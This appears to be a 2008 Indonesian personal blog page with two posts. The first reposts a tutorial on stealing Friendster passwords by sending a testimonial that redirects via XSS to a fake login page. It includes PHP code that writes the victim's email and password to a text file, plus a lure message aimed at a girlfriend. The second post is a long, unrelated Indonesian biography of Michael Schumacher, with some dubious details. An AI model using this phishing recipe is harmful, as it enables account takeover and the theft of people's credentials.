Saturday, December 27, 2008

cara nge hack friendster

Setelah mencari ide apa yang artikel apa yang harus dimasukan kedalam blog saya. akhirnya saya memutuskan untuk mencari artikel tentang cara menghacking password Friendster karena banyak teman – teman saya yang menyarankan untuk memasukan artikel tersebut agar mereka mudah untuk membacanya tanpa perlu memakai search engine segala. dan setelah goggling sejenak akhirnya saya dapat juga di jasakom.com. nah ini dia selamat membaca. GBU

Penerapan Social Engineering untuk mendapatkan password di Friendster
Date: Wednesday, February 14, 2007 Hits: 14195 By: numpang_lewat
Artikel ini ditujukan bahwa ” Hacking tidak selamanya menggunakan TOOLS “. So bagi para 3133t sebaiknya tidak membaca ARTIKEL ini jika anda tidak ingin mual, perut kembung, bibir pecah2, kepala senut2.. dll.

Artikel ini diperuntunkan bagi anda tertarik, cinta, haus ilmu dari Social Engineering….

Sekali lagi Artikel ini hanya ditujukan bagi temen2 yg belum mengetahui teknik ini. Jika temen2(terutama for 3133t) Sudah tahu teknik ini SAYA MOHON STOP!! STOP!! STOP!! STOP!! STOP!! STOP!! tetapi bila anda tetap sja Ngotot ingin meneruskan saya tidak bisa memaksa anda…

Lanjutt ….

Akhir-akhir ini banyak yg membicarakannya, bahkan sedang menjadi berita hangat. Mngkin para 3133t sudah menemukannya hampir 2 tahun yg lalu. Sebagaimna telah dijelaskan pada artikel sebelumnya (WuPz, jagonya dll). Testimonial Redirect bisa jadi berabe bgt kalo disalah gunakan. Artinya?? cara tersebut bisa digunain buat ngedapetin password, cookies, or perhatian lebih dari doi ama kita ;) ) n laen-laen .. .

So langsung saja kita menuju acara puncak …

Pertama-tama yg mesti kita siapin :

1. Teh manis penghangat malam.
2. Jangan Lupa cemilan yg bikin Kriuk .. kriuk …
3. Web Hosting yg support PHP. Cari di paman Google banyak..
4. Upload file index.htm (ada di source).

5. Sertakan code php dan JavaScript di bawah ini dan ” SAVE As ” sesuai dg nama link yg dituju pada Form Login.

$email = $_POST[email];
$password = $_POST[password];
$fl = fopen(’password.txt’, ‘a’);
fwrite($fl, “$email . $password \n\n”);
fclose($fl);

?>

Dan upload file diatas ke www.webyangsupportphp.com

6. Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dg kebutuhan kamu!!.

7. kirim testi dg :

hai syang .. gimna kabarna, kagen nie ..

nah .. Setelah sang pacar penerima testi membuka “New Testimonials”, maka sesuai dg perintah yang berada di JavaScript => window.location <= yg disisipkan maka link akan menuju ke http://webyangsupportphp.com/index.htm . setelah terbuka, secara tanpa sadar sang pacar mengira halaman yg terbuka adalah sungguhan. Ya !!!! tanpa disuruh, dibelai-belai, n tanpa rayuan maut pun sang pacar akan dg rela hati mengisi Form login tipuan.
Akhirnya dg pura-pura tidak tahu, muka bego, sedikit bodoh. Si pengirim testi menawarkan jasanya untuk sang pacar tercinta… =] :) )

Selain itu teknik diatas akan terlihat seperti aslinya jika menggunakan ” OVERLAY GENERATOR ” pada profil fs pada saat pengiriman testimonial yg berisi html code ( index.htm). Dg mengganti link Relatif menjadi absolut(baca S.I.H lebih lanjut) pada form login di index.htm maka pada saat pengiriman data akan menuju ke http://webyangsupportphp.com/login.php

Kesimpulan :

# Hacking tidak selamanya menggunakan ” TOOLS “
# Kelemahan XSS merupakan bahaya besar
# Teknik ini semata-mata hanya untuk pengetahuan. Resiko ditanggung anda sendiri !!!!

mw lebi mantep lg hacking ny?,buka aja di http://www.webcounter.com/

Posted by Joker in 15:58:06 | Permalink | No Comments »

Wednesday, November 26, 2008

Michael Schumacher

Michael Schumacher (akrab disapa “Schumi”,[5] “Schu”,[6] atau “Schuey”[7]) (lahir di Hürth-Hermülheim, Jerman, 3 Januari 1969; umur 39 tahun)[8] adalah seorang mantan pembalap Formula 1 asal Jerman. Tinggi badannya 174 cm. Adiknya, Ralf, juga turun sebagai pembalap di Formula 1 dari musim 1997 sampai 2007. Pertama kalinya membalap di ajang Formula 1 pada tahun 1991, sejak saat itu ia telah menjuarai 91 balapan Formula 1 dan tujuh kali merebut gelar juara dunia (1994, 1995, 2000, 2001, 2002, 2003, 2004). Schumi mengumumkan pengunduran dirinya dari ajang tersebut pada 10 September 2006, dan pensiun pada akhir musim 2006.[9] Setelah pensiun, Schumi masih terlibat dengan tim Ferrari untuk membina pembalap-pembalap muda seperti Kimi Raikkonen dan Felipe Massa. Schumi merupakan satu dari sekian banyak legenda hidup Formula 1 yang sangat popular hingga saat ini.[10][11]

Kehidupan pribadi

Michael Schumacher, lahir tanggal 3 Januari 1969 di Kerpen, Jerman dengan nama lengkap Michael Shoeleather Schumacher. Ia merupakan putra pertama dari pasangan Rolf Schumacher dan Elizabeth. Ayahnya, Rolf merupakan seorang marshall disebuah trek gokart di Kerpen. Dari sinilah ketertarikan Schumi terhadap dunia balap tumbuh, dan dari sinilah kelak, seorang anak ingusan tumbuh besar menjadi salah satu tokoh dunia paling disegani (urutan 17 majalah Forbes, sementara David Beckham ada di posisi 18).[12][13]

Pada tahun 1975, lahirlah sang adik yang kemudian dinamai Ralf Schumacher. Saat itu Schumi sebenarnya juga suka bermain sepak bola. Kebetulan markas FC Koln tidak jauh dari kediaman Schumi dan Ralf, sehingga kakak beradik ini mendapatkan pelajaran sepak bola dari kiper legendaris Jerman saat itu, Toni Schumacher. Sewaktu kecil, Schumi lebih banyak bermain sebagai penjaga gawang di tim sepak bola lokal daerahnya. Bahkan hingga saat ini, ia masih sering bermain sepakbola. Bersama beberapa atlet seperti Ronaldo, Zinedine Zidane, Pavel Nedved, dan Alessandro Del Piero, Schumi sempat mengadakan pertandingan amal, dengan tim yang diisi para atlet semacam Boris Becker, Roger Federer, dan Valentino Rossi.[14][15] Selain itu, Schumi dan Rubens Barrichello pernah hadir di final Liga Champions musim 2002-03 antara AC Milan vs. Juventus di stadion Old Trafford, Manchester, Inggris. Dan mereka berdua mendukung Juventus sebagai salah satu anak perusahaan FIAT yang juga membawahi tim Ferrari, sayangnya Juve kalah via adu penalti.

Pada usia 9 tahun, Michael mulai turun di kejuaraan gokart lokal. Lalu pada usia 16 tahun, di kala ia masih duduk di bangku sekolah, Schumi kerap membantu adiknya dalam balapan gokart. Kala itu, Schumi menjadi mekanik dari gokart yang ditunggangi oleh adiknya.[16] Schumi pun lantas sempat mencoba bangku kuliah di sela-sela karir balapnya, namun impiannya menjadi seorang sarjana pupus setelah ia memutuskan untuk berkonsentrasi di arena balap. Dan siapa yang menyangka bahwa dari sinilah kelak nama Michael Schumacher akan di kenal luas oleh dunia.

Schumi adalah seorang penyayang binatang. Ia mempunyai lima ekor anjing di rumahnya. Salah satunya merupakan anjing pungut, yang ia ambil dari Brazil, ketika berlangsungnya GP Brazil tahun 1997. Dan kini, anjing yang beri ia nama “Flo” tersebut masih tetap setia tinggal bersama Schumi di Swiss. Nama “Flo” merupakan plesetan dari kata bahasa Jerman, “Flea”, yang berarti kutu, dan memang di tubuh Flo saat pertama kali ia pungut, dipenuhi oleh banyak kutu. Selain anjing, Schumi juga memiliki seekor kura-kura. Kura-kura tersebut adalah pemberian Mika Hakkinen (Hakkinen adalah seorang pecinta kura-kura). Oleh Schumi, kura-kura tersebut kemudian diberi logo sponsor pribadinya, Deutsche Vermogensberatung, supaya mudah ditemukan bila ia hilang.[17]

Schumi menikah dengan Corrina pada pertengahan 1995, dan mempunyai dua anak, Gina Maria (lahir tahun 1997) dan Mick (lahir tahun 1999). Sebelumnya, Corrina adalah mantan pacar dari Heinz-Harald Frentzen. Pasangan ini sempat menetap di Monaco, namun Schumi lebih memilih untuk mengasingkan keluarganya dari dunia selebritis,[18] hingga akhirnya ia memilih untuk menetap di Swiss bertetangga dengan Felipe Massa dan Jean Alesi.

Untuk urusan musik, Schumi adalah fans dari band Red Hot Chili Peppers. Lagu favoritnya adalah “By the Way”, ia menganggap bahwa beberapa bait lirik dari lagu itu mempunyai pengertian yang mendalam bagi hatinya. Diluar balap mobil, Schumi juga adalah seorang penggemar sepeda motor, bahkan dia lebih senang mengendarai motor saat datang dari hotel ke sirkuit. Teman dekatnya dari ajang balap motor adalah Mick Doohan, Valentino Rossi, dan Casey Stoner.

Setelah Schumi pensiun dari F1, banyak nama-nama pembalap Jerman yang digadang-gadang oleh publik Jerman akan meneruskan kesuksesan Schumi di F1 masa depan. Tiga nama diantaranya yaitu Nico Rosberg, Nico Hulkenberg, dan Sebastian Vettel bahkan sudah diramalkan akan menjadi “The Next Schumi”. Namun hanya Vettel-lah, yang terinspirasi Schumi sejak masa kecilnya, yang kini sudah pernah menjuarai lomba F1.[19] Schumi pun sempat berujar bahwa Sebastian Vettel akan sangat disia-siakan jika tim Ferrari tidak merekrutnya di masa mendatang.

[sunting] Sponsorship

Schumi, sejak awal karirnya telah mempunyai beberapa sponsor pribadi. Pertama saat ia turun di SportsCar, ia di dukung penuh oleh Mercedes-Benz. Hal ini sempat menjadi pertimbangan bagi Ron Dennis saat akan merekrutnya di akhir 1995, ketika tim McLaren berkerjasama dengan pabrikan Mercedes-Benz. Namun karena gaji Schumi yang terlalu mahal, akhirnya Ron memutuskan untuk tidak merekrut Schumi.

Sejak 1996 Deutsche Vermogensberatung resmi menjadi sponsor Schumi. Awalnya sponsor tersebut memajang namanya di helm dengan nama “DVAG”. Namun mereka kemudian memutuskan untuk menulis nama sponsorshipnya secara lengkap, karena takut akan tersaru dengan sponsor Schumi sebelumnya yaitu DEKRA. Mulai 1998 Deutsche Vermogensberatung memindahkan tempat sponsorshipnya dari helm ke ke topi. Sponsorship ini masih bertahan hingga akhir 2010.[20][21] Selain Deutsche Vermogensberatung, produsen jam tangan Omega juga menjadi salah satu sponsor Schumi. Selain Schumi, Omega juga memakai Pierce Brosnan dan kini Daniel Craig sebagai duta mereka. Sponsor lainnya yang juga memakai Schumi sebagai bintang iklannya adalah produsen kosmetik Loreal. Untuk sponsorship yang satu ini, Schumi sempat keki saat suaranya yang diucapkan dalam bahasa Jerman disulih kedalam bahasa Inggris, dan hal ini kemudian membuat pihak Loreal memutuskan bahwa untuk Schumi akan ada pengecualian khusus, yaitu suara yang dipakai dalam iklannya akan memakai suara asli Schumi, dan tidak akan disulihkan kedalam bahasa Inggris.[22]

Untuk kegiatan amal, Schumi diangkat menjadi duta UNESCO sejak 1995.[23] Tugasnya di UNESCO adalah membantu pengembangan pendidikan masyarakat di beberapa negara tertinggal.

[sunting] Awal karir

Mobil Formula 3 Schumi tahun 1990.

Michael memulai karir balapnya saat usia 7 tahun. Dikarenakan pihak otoritas Jerman hanya memberikan SIM balapan jika seseorang sudah berusia 14 tahun, Michael kemudian berpindah tempat ke Luxemburg pada tahun 1981, dan ia berhasil mendapatkan SIM balapan resmi untuk pertama kalinya.[24] Kemudian pada 1983, Schumi akhirnya berhasil mendapatkan SIM balapan dari Jerman setelah ia memenangi Kejuaraan Kart Junior Jerman. Di 1984, Schumi memenangi dua kejuaraan gokart sekaligus, yaitu Kejuaraan Nasional Jerman, dan Kejuaraan Gokart Eropa. Ia lantas bergabung dengan Eurokart yang dimiliki Adolf Neubert tahun 1985, dan ia bertahan di sana sampai tahun 1987

Karier single seater pertana Schumi setelah gokart adalah pada ajang Formula Koenig pada tahun 1987, sebelum pindah ke ajang Formula Ford.[25] Di sini ia menjadi runner-up di belakang mantan pembalap Sauber dan Toyota, Mika Salo, di kejuaraan European Championship, dan keempat di seri Jerman. Tahun 1989, ia pindah ke seri Formula 3 Jerman, bergabung dengan WTS Formula 3 Team milik Willi Weber. Di sana ia berhasil mengisi posisi ketiga, dibawah Heinz-Harald Frentzen dan Karl Wendlinger. Dan kemudian di 1990 ia berhasil menjadi juara F3 Jerman.

Schumi juga piawai di ajang sportcar. Pada 1990 sembari ia membalap di F3 Jerman, ia masuk menjadi anggota tim Mercedes Junior di tim Sauber, dan kemudian ia menjadi juara di Meksiko. Lalu ia kembali juara di Autopolis pada 1991. Di tahun yang sama, ia juga memulai debutnya di ajang Formula 3000 Jepang, dan ia menduduki peringkat kedua di Sugo, Jepang.[25] Ia hanya turun satu balapan di ajang tersebut, karena ia kemudian dipanggil oleh Eddie Jordan untuk turun di ajang Formula 1.

[sunting] Karir Formula 1

[sunting] Jordan GP (1991)

Schumi, saat testing dengan mobil Jordan 191.

Pada Agustus 1991, Schumi memulai debutnya di F1, dan bergabung bersama tim Jordan, di GP Belgia, menggantikan Bertrand Gachot yang sedang di hukum oleh kepolisian Inggris akibat ulahnya yang menyemprot seorang sopir taksi di London dengan gas CS. Eddie Jordan (EJ) berhasil mendapatkan Schumi yang saat itu masih bergabung bersama Mercedes-Benz, untuk bisa turun di F1, Eddie lantas membayar konpensasi kepada Mercy sebesar $150,000.[26] Dalam debutnya, Schumi menempati grid ketujuh dalam kualifikasi, namun gagal menyelesaikan balapan akibat kerusakan kopling di lap pertama.[27] Itu merupakan satu-satunya balapan bersama Jordan, sebelum akhirnya pindah ke tim Benetton.

[sunting] Benetton F1 (1991-1995)

[sunting] Masa pembelajaran

Dua minggu setelah debut yang mengesankan bersama tim Jordan, secara mengejutkan Flavio Briatore (dengan bantuan Bernie Ecclestone) menarik masuk Schumi ke tim Benetton. Sebenarnya, EJ tidak setuju dengan jalan yang ditempuh Flavio tersebut. Namun niatnya untuk menuntut Benetton pupus setelah Bernie Ecclestone menawarkan jalan tengah, yaitu sebuah kontrak pasokan mesin gratis dari Yamaha untuk tim EJ di musim 1992. Flavio lantas secara kontroversial menggeser posisi Roberto Moreno ke kursi test driver, dan menggantikannya dengan Schumi. Schumi lantas mendapat banyak mendapat pelajaran berharga dari mantan juara dunia Nelson Piquet. Balapan perdananya bersama Benetton adalah di GP Italia, di balapan tersebut Schumi meraih poin perdananya di ajang F1, bahkan ia pun mengalahkan Nelson Piquet, baik di kualifikasi, maupun di race. Flavio kemudian berkomentar bahwa suatu saat nanti pembalap barunya ini akan menguasai dunia balap F1, “Kita tunggu saja waktunya”, ujar Flavio waktu itu.

Tahun 1992, dirinya mampu menaiki podium sebanyak 8 kali, salah satunya adalah kemenangan pertamanya di GP Belgia dalam kondisi hujan deras, ia pun lantas mendapatkan julukan rain master oleh kalangan paddock berkat aksinya yang memukau di balapan tersebut.[28][29][30][31] Di akhir musim, Schumi menempati peringkat ketiga klasemen pembalap dengan 53 poin.

Pada 1993, Schumi kembali menunjukkan bakatnya sebagai calon pembalap besar. Namun, di tahun itu Schumi hanya menang sekali di Portugal. Itupun setelah melalui perjuangan keras melawan duo Williams. Posisi klasemen akhir Schumi adalah ke-4 dengan 52 poin.

[sunting] Gelar dunia pertama

Mobil Schumi musim 1994: Benetton B194.

Pada 1994, tanda-tanda Schumi akan mendominasi musim mulai terlihat setelah ia memenangi tiga seri awal, yaitu di Interlagos, Aida, dan San Marino. Dalam tiga balapan tersebut, saingan beratnya, Ayrton Senna mengalami beragam masalah. Dan yang paling parah adalah ketika di Imola, San Marino, saat Ayrton Senna tewas akibat kecelakaan.[32]

Setelah kematian Senna, aksi brilian Schumi makin tak terbendung. Bahkan ia merebut pole pertamanya di Monaco, dengan mudah pula ia mengalahkan Mika Hakkinen yang duduk di posisi kedua saat kualifikasi. Lantas ia sempat dihukum larangan tampil di dua balapan, akibat insiden muslihat di GP Inggris kepada Damon Hill. Namun hal itupun tidak cukup untuk mengalahkan Schumi. Ia lantas mengalahkan Damon Hill hanya dengan selisih satu poin, setelah sebelumnya mengalami insiden yang kontroversial di GP Australia, di Adelaide.[33] Schumi pun akhirnya berhasil menjadi juara dunia untuk kali pertama sepanjang karirnya (yang pertama juga untuk tim Benetton).

[sunting] Mempertahankan gelar

Pada 1995, dengan dibantu mesin Renault yang sama seperti Williams, Schumi mendominasi musim bersama rekan setimnya Johnny Herbert. Kemenangan terbaik Schumi diraih di GP Belgia, dimana ia dengan nekat melajukan mobilnya yang start dari posisi 16 menuju tangga kemenangan dengan memakai ban kering di tengah trek yang basah. Ia sempat bersenggolan dengan Damon Hill di tikungan Las Combes, namun malah Hill yang terkena penalty stop and go.

Momen unik Schumi di tahun 1995 adalah saat mobilnya mengalami masalah di GP Kanada. Sadar bahwa ia tidak akan menang, ia lantas memberi jalan kepada Jean Alesi untuk meraih kemenangan perdananya di Formula 1. Schumi kemudian membonceng Jean Alesi dalam selebrasi victory lap sebagai tanda bahwa ia ikut senang atas kemenangan pertama Jean Alesi.

Setelah sembilan kali menang di musim 1995, Schumi merebut mahkota juara dunia untuk yang kedua kalinya ditahun tersebut. Dan dengan usianya yang baru menginjak 26 tahun, Schumi merupakan pembalap termuda sepanjang sejarah yang mampu meraup dua gelar juara dunia (sebelum dipecahkan oleh Fernando Alonso di tahun 2006).

[sunting] Scuderia Ferrari (1996-2006)

[sunting] Reformasi tim

Mobil Ferrari Schumi pertama musim 1996.

Awal Agustus 1995, rumor kepindahan Schumi ke Ferrari ramai diperbincangkan oleh publik. Sebelumnya, ia juga sempat dihubung-hubungkan dengan McLaren, apalagi karena sewaktu ia muda, ia banyak dibimbing oleh Mercedes-Benz, yang kini memperkuat tim McLaren.[34]

Akhirnya setelah lama bernegoisasi, Schumi setuju untuk pindah ke Ferrari yang saat itu terbilang sebagai tim dengan penampilan terburuk. Ia lantas di beri kebebasan oleh tim untuk menentukan siapa rekan setimnya. Ia lantas memilih Eddie Irvine. Selain itu, ia juga sempat menuntut agar Ferrari mau merekrut para mekaniknya di Benetton dulu seperti Ross Brawn dan Rory Byrne, tetapi baru di musim 1997-lah, Brawn dan Byrne bisa ditarik ke Ferrari.[35][36] Kuartet Schumi, Brawn, Byrne, dan Jean Todt kemudian menjadi kuartet terkuat dalam sejarah F1, seperti yang pernah dikatakan oleh Jackie Stewart.[37][38]

Pada musim perdana di Ferrari (1996), Schumi hanya mampu menang tiga kali, selebihnya ia terhambat oleh mobil Ferrari karya John Barnard yang kurang kompetitif. Bahkan kekecewaannya memuncak di GP Prancis saat Ferrari yang ditungganginya meledak saat lap pemanasan, padahal ia start dari pole. Namun ia masih bisa menghibur publik Italia melalui kemenangan spektakuler di trek basah Barcelona dan di kandang Ferrari, Monza. Gelar juara dunia tahun 1996 diambil oleh rivalnya, Damon Hill dari Williams.

[sunting] Harapan dan musibah

Pada 1997, dengan kedatangan Ross Brawn dan Rory Byrne, Schumi nyaris menjadi juara dunia, ia sangat kompetitif di musim tersebut. Sayang beberapa insiden yang melibatkan dirinya dengan Alexander Wurz (di Monaco), Ralf Schumacher (di Nurburgring), dan yang paling menyakitkan dengan Jacques Villeneuve (di GP terakhir di Jerez) memupuskan impian Schumi untuk menjadi juara dunia.[39] Bahkan akibat insiden Jerez, seluruh poin yang diraih Schumi di musim tersebut dihapus oleh FIA. Selain itu, Schumi pun dikenai hukuman community service selama 60 jam.[40][41]

Pada 1998 ia mendapat rival baru (sebenarnya bukan baru), yaitu McLaren yang kali ini bangkit dari tidurnya bersama Mika Hakkinen. Dengan dukungan mobil karya Adrian Newey dan ban Bridgestone, Mika Hakkinen bersama McLaren mendominasi musim tersebut. Schumi bersama Ferrari (yang memakai ban Goodyear) bukannya tidak mampu melawan, tetapi beberapa insiden kembali mewarnai karir Schumi. Salah satunya adalah kasus ban bocor di balapan terakhir musim 1998 di Suzuka, Jepang.

Di pertengahan musim, Schumi mencatatkan diri sebagai pembalap yang memenangi lomba dari pitlane. Ini terjadi di GP Inggris saat ia menyalip Alexander Wurz di lap 43. Sesuai peraturan, Schumi dijatuhi hukuman penalty stop-go 10 detik. Namun lucunya hukuman tersebut baru diberikan beberapa lap menjelang finish, dan akhirnya Schumi menjalaninya di lap yang ia rasa lap terakhir. Ketika ia selesai menjalani hukuman tersebut, ia malah dikibasi bendera finish karena menurut catatan steward Schumi telah melindas garis finish. Dan walaupun kemenangannya dianggap sah, pada hari itu juga FIA memutuskan bahwa kemenangan balapan tidak lagi bisa diraih dari pitlane.[42][43]

Salah satu momen yang paling menarik adalah saat Schumi menabrak David Coulthard di GP Belgia 1998. Saat itu Schumi tengah memimpin dan Coulthard ketinggalan satu lap. Schumi kemudian kembali ke pit dengan menyisakan tiga roda dimobilnya, dan Coulthard kehilangan sayap belakang. Schumi lantas berniat berkelahi dengan Coulthard akibat kasus tersebut di garasi McLaren, namun untungnya berhasil dipisah oleh para mekanik McLaren.[44]

Tahun 1999, Schumi mengawali musim dengan baik. Ia menang di San Marino dan Monaco. Namun di GP Inggris di Silverstone, ia mengalami kecelakaan hebat di lap pertama, dan harus beristirahat untuk beberapa bulan akibat patah kaki.[45] Menurut keterangan dari majalah F1 Racing, kecelakaan tersebut terjadi karena Schumi megerem secara mendadak mobilnya saat Ross Brawn memberitahukan bendera merah akibat insiden di grid. Sebagai usaha penyembuhan cedera kakinya, ia bersama Jean Alesi lantas bertemu dengan Paus Yohannes Paulus II di Vatikan. Uniknya, Schumi bukanlah seorang Katolik, Schumi adalah seorang Protestan. Rekan satu timnya, Eddie Irvine, nyaris mencuri gelar juara dunia, namun kembali gagal.[46] Meskipun begitu, Ferrari berhasil menjadi juara konstruktor untuk pertama kalinya sejak 1983.

[sunting] Kembali ke puncak

Di musim 2000, dengan ditemani oleh rekan setim yang baru, yaitu Rubens Barrichello, Michael Schumacher berhasil menang di tiga balapan awal. Memasuki pertengahan musim, Schumi sempat terlibat beberapa kecelakaan dengan Ricardo Zonta (di Austria) dan Giancarlo Fisichella (di Jerman), dan membuatnya harus turun peringkat ke posisi dua dalam klasemen. Namun lewat kemenangan hat trick di tiga balapan terakhir, ia akhirnya berhasil naik kembali ke posisi teratas klasemen, dan kemudian menjadi juara dunia bersama tim Ferrari di akhir musim (untuk pertama kalinya bagi Ferrari setelah 21 tahun).[47] Ia juga menyamai rekor Ayrton Senna dengan menjuarai 41 lomba.[48] Momen menarik di musim tersebut adalah pada saat GP Belgia. Ketika balapan tingga tersisa 3 lap lagi, ia disalip dengan menawan oleh Mika Hakkinen. Seusai balapan, tampak wajah Schumi lesu dan geram, terlebih Mika Hakkinen datang dan menjelaskan aksinya tersebut pada Schumi. Namun uniknya, hanya dua jam setelah perayaan podium ia bersama Hakkinen kemudian tertangkap basah sedang menghisap cerutu dan minum bir di motorhome Ferrari.[49]

Musim 2001 menjadi era besarnya dominasi Ferrari, mulai dari Australia hingga Jepang. Ia menang mudah di Australia dan Malaysia. Kemudian setelah gagal di Brazil dan San Marino, Schumi kembali menang di Spanyol, dimana kemenangannya ia raih setelah Mika Hakkinen yang memimpin sampai lap terakhir tiba-tiba mengalami masalah mesin. Schumi yang berada di P2 (dan Juan Pablo Montoya di P3 bersama Jacques Villeneuve di P4) mendapatkan durian runtuh, dan sesaat setelah semua mobil masuk ke parc ferme, Schumi terlihat meminta maaf kepada Mika yang terlihat lesu atas kejadian tersebut. Michael kemudian memecahkan banyak rekor dan merebut gelar juara dunia untuk yang keempat kalinya di GP Hungaria, ketika masih ada empat balapan tersisa di musim itu. Ia menjadi pemegang rekor juara GP terbanyak, mengalahkan rekor Alain Prost yang pernah menang 52 kali.[50] Kemudian di GP Italia, dengan masih diselimuti awan duka tragedi 11 September 2001, Schumi sebagai ketua Grand Prix Drivers Asociation lantas meminta semua pembalap untuk tidak menyalip di tikungan pertama dan kedua. Hanya tiga pembalap yang tidak setuju usulan Schumi tersebut, yaitu Jacques Villeneuve, Jenson Button, dan Enrique Bernoldi. Sepanjang balapan, Schumi pun terlihat tidak fokus, dan hanya finish di P4 dibawah rekan setimnya sendiri, Rubens Barrichello yang ada di P2.

Team Order: Rubens Barrichello memberikan kemenangannya bagi Schumi di akhir GP Austria 2002.

Pada 2002, balapan F1 menjadi terasa lebih mudah bagi Schumi. Dengan bagusnya performa mobil Ferrari F2002 yang dikemudikan Schumi dan Rubinho, balapan demi balapan di musim 2002 menjadi mudah ditebak. Di Australia, dengan mobil lama F2001, Schumi berhasil menjadi juara. Setelah gagal di Malaysia, Ferrari kemudian meluncurkan F2002 di Brazil, dan Schumi pun lagi-lagi menjadi juara. Pada balapan tersebut Schumi menang tanpa kibasan bendera finish karena Pele yang berperan sebagai petugas pengibar bendera finish belum paham.[51] Praktis setelah balapan memasuki GP San Marino, hanya dua pembalap Ferrari-lah yang terlihat sangat kompetitif. Bahkan ketika F1 baru menjalani 11 race (di Prancis), Schumi telah memastikan diri sebagai juara dunia 2002.[52] Di sisa musim, Schumi kemudian membantu rekan setimnya sendiri, Rubens Barrichello agar bisa duduk di posisi kedua klasemen pembalap, dan usahanya ini berhasil.

Hal yang sempat merusak reputasinya adalah ketika di tahun 2002 tim memerintahkan team-order di Austria. Saat itu Rubens Barrichello harus memberikan jalan agar Schumi bisa menang. Untuk pertama kalinya, penonton begitu kecewa dan mencemooh mereka saat menaiki podium. Atas insiden Austria tersebut, FIA “menghadiahi” Schumi dan Ferrari dengan denda sebesar satu juta dollar AS.[53] Kemudian di GP Amerika Serikat di Indianapolis Motor Speedway, lagi-lagi Schumi membuat ulah. Tanpa sepengetahuan Barrichello dan timnya sendiri, ia kemudian secara tiba-tiba memperlambat mobilnya di akhir lap terakhir. Sehingga akhirnya Rubens Barrichello naik menjadi juara. [54] Awalnya Schumi berencana untuk membuat formasi finish yang bagus, sayangnya hal itu gagal, dan untuk menutupi rasa malunya, Schumi menuturkan pada pers bahwa kemenangan Barrichello tersebut merupakan balas jasa atas tindakannya di Austria. Kembali Schumi dicemooh, bahkan ia pun berperan besar atas menurunnya minat masyarakat AS menonton F1 akibat tindakan tersebut.

Di musim 2003, Michael Schumacher menorehkan sejarah; ia berhasil menjadi pembalap satu-satunya yang merebut gelar juara dunia sebanyak enam kali. Meskipun ditahun tersebut dia harus berjuang sampai GP terakhir setelah mendapat perlawanan keras dari Kimi Raikkonen, Fernando Alonso, dan Juan Pablo Montoya. Sebelumnya di awal musim, Schumi bersama Ferrari mengawali musim 2003 dengan buruk.[55][56][57] Schumi bahkan baru mencetak kemenangan di GP San Marino. Di balapan tersebut, ibunda Michael, Elizabeth, meninggal dunia tepat sesaat sebelum balapan. Michael menang balapan tersebut, dan kemenangannya kemudian didedikasikan untuk sang Bunda. Di balapan terakhir, di Suzuka, Jepang, Schumi hanya membutuhkan satu poin saja untuk menjadi juara. Di kualifikasi ia start di P14, sementara saingan utamanya, Kimi Raikkonen start di P2. Schumi kemudian berhasil naik ke P8 dan mengamankan gelar juaranya, dengan dibantu Barrichello yang berhasil memenangi lomba dan menahan Raikkonen agar tetap diam di posisi kedua. Malamnya setelah balapan, Schumi melakukan tindakan memalukan, yang apesnya tersorot media. Di sebuah hotel dirinya kemudian kepergok oleh media sedang melempar TV dan kulkas kecil dari kamar hotel dikarenakan mabuk.

Musim 2004 prestasi Ferrari kembali meningkat seperti musim 2002, Schumi kembali menjadi juara dunia dengan mudah. Bahkan Ferrari seakan tanpa lawan karena baik Schumi dan Rubens Barrichello selalu mendominasi podium balapan dengan mudah. Ferrari di tahun itu hanya kalah di Monaco (oleh Jarno Trulli Renault), Spa (oleh Kimi Raikkonen McLaren), dan Brazil (oleh Juan Pablo Montoya Williams). Dengan gelar juara dunia di musim 2004 ini, Schumi kembali mempertajam rekornya sebagai satu-satunya pembalap F1 yang mampu meraup tujuh kali gelar dunia.[58]

[sunting] Akhir karir

Schumi dan Felipe Massa saat start GP Prancis 2006.

Pada 2005, Schumi seakan loyo, dikarenakan performa ban Bridgestone yang sedikit lebih buruk dibanding tahun-tahun sebelumnya. Meskipun Ferrari telah menyiapkan diri dengan baik, namun hal itu tampaknya tidak diikuti oleh ban yang bagus dari Bridgestone. Di tiga balapan awal Ferrari memakai mobil F2004, baru kemudian di San Marino Ferrari menurunkan mobil baru F2005. Secara mengejutkan di balapan tersebut Schumi tampil melejit, dan ia bisa saja menang kalau tidak tertahan Jarno Trulli di awal balapan. Sepanjang musim berjalan, Schumi hanya menang di Amerika Serikat, itupun karena balapan hanya diikuti enam mobil (semuanya berban Bridgestone).[59] Sementara semua tim lawan yang memakai Michelin memutuskan mundur dari lomba karena alasan keamanan. Di akhir musim Schumi berada di posisi tiga klasemen akhir dibawah Fernando Alonso (Renault) dan Kimi Raikkonen (McLaren).[60]

Ferrari mulai memperbaiki diri di musim 2006. Schumi pun mendapat rekan setim yang baru, yaitu Felipe Massa. Regulasi ban pun berubah, dengan kembali mengikuti format di musim 2004 dan sebelumnya, dan ini memberi peluang Bridgestone untuk membuat ban yang lebih bagus.[61] Schumi pun berpeluang meraih gelar kedelapan apabila mesin Ferrari-nya tidak meledak di Jepang. Schumi mengumumkan bahwa dia akan pensiun diakhir 2006[62], dan Kimi Raikkonen akan menggantikan posisinya di 2007.[62][63] Balapan terakhir Schumi di Brazil 2006 dipenuhi isak tangis jutaan fans F1 diseluruh dunia (baik yang suka ataupun benci padanya). Sadar tidak bisa meraih gelar kedelapannya setelah gagal di Jepang, Schumi mempertontonkan aksi terbaiknya. Start dari posisi 10 dan terlempar kebelakang akibat ban bocor, Schumi mampu menyikat semua lawannya hingga posisi empat.[64][65][66] Balapan sendiri akhirnya dimenangi rekan setimnya, Felipe Massa.[67][68] Hingga akhir karirnya di F1, Schumi telah mencatat poin lebih dari 1000 pts, menjadikannya pembalap F1 tersukses sepanjang masa. Selain itu, Schumi juga telah memenangi balapan F1 di 22 sirkuit berbeda, sirkuit yang belum pernah ia juarai adalah Turki, Meksiko, dan Luxemburg. Balapan yang paling banyak ia menangi adalah GP Prancis di sirkuit Magny-Cours, dengan raihan total sebanyak delapan kali. Ia juga memenangi lima kali balapan di Indianapolis (2000, dan 2003-06) dan Monaco (1994-95, 1997, 1999, dan 2001). Dan hingga saat ini, Schumi merupakan satu-satunya pembalap Jerman yang sukses menjadi juara dunia di Formula 1

Michael Schumacher

Michael Schumacher di tahun 2007.
Lahir 3 Januari 1969 (umur 39)
Hurth Hermuhlheim, Kerpen, Jerman
Nama lain Schumi, Schuey, Schu
Aktif di F1 1991-2006
Tim Jordan GP (1991)
Benetton F1 (1991-95)
